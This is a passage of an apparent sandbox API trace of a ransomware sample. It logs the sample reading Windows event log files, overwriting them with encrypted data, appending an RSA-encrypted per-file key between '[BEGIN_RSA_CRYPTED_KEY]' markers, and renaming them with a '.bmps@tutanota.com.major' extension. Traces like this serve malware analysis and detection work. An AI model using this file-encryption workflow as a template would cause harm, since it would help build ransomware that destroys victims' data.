lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.454] CloseHandle (hObject=0x460) returned 1 [0128.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0128.456] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0128.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5afcd8 | out: hHeap=0x570000) returned 1 [0128.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0128.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0128.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0128.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0128.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0128.459] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0128.459] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx", dwFileAttributes=0x80) returned 1 [0128.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0128.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0128.459] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0128.459] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0128.459] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0128.459] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0128.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0128.469] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.485] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.485] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.486] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0128.487] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0128.490] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0128.490] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.490] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.490] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0128.490] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0128.492] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0128.492] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0128.492] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="vAZBPhZ7HxG4sOCWHCO1u4tLr+Ivtzy0o7H0mvebgSsrjNelFPVcCBMEW1DtkYN5\ny73nGcsR0yNtSiAV3kGjmyH1JLkwwphlwgNwzwe/aN3hziRramzJUd3GVApoPuP4\nuzfACIY/Vhada9nwDqFoNidlN2A5D1tYwuiZLG7UU7up1duTze4vTu/MVHdUEBo8\nCOlntibTlUSwTmeH0bEbLouWaQ07xa+n9u+iHLEmOikMjUG6P5RXyip4oEDeaKmD\nKrK1hKpCyhHjDMPXgA2BWKGdOwpMVvsdy/0bSgubSejAeifV1jeUlq25KHPNeLKU\ngwqXm927AOaVJvDL59rjjQ==\n", pcchString=0x2e3f9a8) returned 1 [0128.492] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0128.492] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.492] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.492] CloseHandle (hObject=0x460) returned 1 [0128.498] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0128.499] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0128.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0128.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0128.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0128.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0128.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde98 [0128.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0128.501] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0128.501] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx", dwFileAttributes=0x80) returned 1 [0128.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0128.501] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0128.501] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0128.501] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0128.502] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0128.502] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0128.503] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0128.503] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.588] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.588] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.589] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0128.590] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0128.592] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0128.592] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.592] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.592] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0128.593] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0128.594] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0128.594] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0128.594] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="obLXfOoyqjt75SQXJVDGwQ1HrqOIoOWEN8yxwXkieunmuJPIoNuAS2OsXfleTrgx\naLf4Jy4OWllbbneI6hybXizn4U4iQdhrD5DiK0YgLwHtmImXrVoK/4JpTVe+Wjsr\n+0w3cCkwNZ+YYlhkyyYR3Aq5liaXjpiR7M8UOkZx0335ChSCJgRkUayHIqeuOVBz\nxJkhbHEn3E9s+p+0eL5QfeQ0AXOXqmVCAKc6fdRpSo7MGeykIY5a6M2Jt+S1XyO0\nhvHj78G8Rsd9sBi5yfrVvnnmJ3IM3n2WP/ays1joIi5XXYQc0FQRFacnaD2XXK5y\nRMSyEIm8SeOUi55ZjMyBEw==\n", pcchString=0x2e3f9a8) returned 1 [0128.594] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0128.594] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.594] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.594] CloseHandle (hObject=0x460) returned 1 [0128.597] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0128.597] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0128.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0128.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0128.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x570000) returned 1 [0128.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd880 | out: hHeap=0x570000) returned 1 [0128.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2e40f20 [0128.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0128.599] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0128.599] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0128.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5b85a8 [0128.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x5c1e98 [0128.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0128.600] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0128.600] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1052672) returned 1 [0128.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x101000) returned 0x3146020 [0128.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x101000) returned 0x3253020 [0128.601] ReadFile (in: hFile=0x460, lpBuffer=0x3146020, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3146020*, lpNumberOfBytesRead=0x2e3f9b4*=0x101000, lpOverlapped=0x0) returned 1 [0128.693] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1052672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.693] WriteFile (in: hFile=0x460, lpBuffer=0x3253020*, nNumberOfBytesToWrite=0x101000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3253020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x101000, lpOverlapped=0x0) returned 1 [0128.698] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3146020 | out: hHeap=0x570000) returned 1 [0128.699] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3253020 | out: hHeap=0x570000) returned 1 [0128.699] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x101000 [0128.699] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.699] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.700] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0128.700] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0128.700] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0128.700] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0128.700] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="ZnQsN5qDYcgM5h/OzLFMAbPZtWqAyaTr5cU4XFEiS79rIfwAO2SDvfp+s3MOUrme\nc0orulM81wH3M+MKJ13h7Ohlw6rz65ONhgqYqIkuP3BLtX2dGhFQnhLeb0hwi59+\nmR0U438uTRx4oIU+RqHpoJ110y0AO2KxhsFY7jTlkKKMtJOiezzUnzAaGy4vnwEy\n0GQD5GiNTlJ0/T0zEH92u1Ufc3BTEDKgFZf0blmneBLtX/h0XT8bw54aMicutinB\nZubI15UtP+4XAPRzULZCyP4hlvoBOyjO9MRAIzhVv8pSE4r+u4fdAzsV9o87cdx0\nztO6xsHmK0xd6lFi3vd8hg==\n", pcchString=0x2e3f9a8) returned 1 [0128.700] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0128.700] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.700] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.700] CloseHandle (hObject=0x460) returned 1 [0128.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0128.718] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0128.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e98 | out: hHeap=0x570000) returned 1 [0128.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0128.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0128.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0128.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0128.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0128.720] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0128.720] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", dwFileAttributes=0x80) returned 1 [0128.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5a9008 [0128.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b85a8 [0128.720] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0128.720] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0128.720] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0128.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0128.721] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0128.721] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.759] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.759] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0128.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0128.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0128.762] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0128.762] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.762] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.762] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0128.762] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0128.764] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0128.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0128.764] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="qRhO82te9gVPMUEc0tm6ZnxeOdUp7/Vz2WGlX8oocA42FZuAI8vJaFSBzVpOOUsr\nHRVElnUDWXkFpsHJ+93SQpiEfXdFkEKgwLiZn2aSPOwrXTSyC4y8dRIUnlH3Fngd\nue001rE+NC7JOnVvvo/GdnV1+mim0Syi4PLuYlUjnkUQwbWjXO77+yyEx7GqgwPZ\nAKptZeqqAlMwCEPOfF44KaBUea4DDgfxVGib8rGK3CGr3M3u1DaqYLsZzMPQXreC\nijDHVqFsg8yP5sugNWib6tcD2DzsOpIPf2krdhaXdPbBdlR72Zbhm8f6mUcazTOr\nkSafmx1waLTdh+mK/sgAHg==\n", pcchString=0x2e3f9a8) returned 1 [0128.764] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0128.764] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0128.764] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0128.764] CloseHandle (hObject=0x460) returned 1 [0128.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0128.766] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0128.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0128.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0128.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0128.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0128.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0128.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0128.768] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0128.768] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0128.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0128.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0128.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, 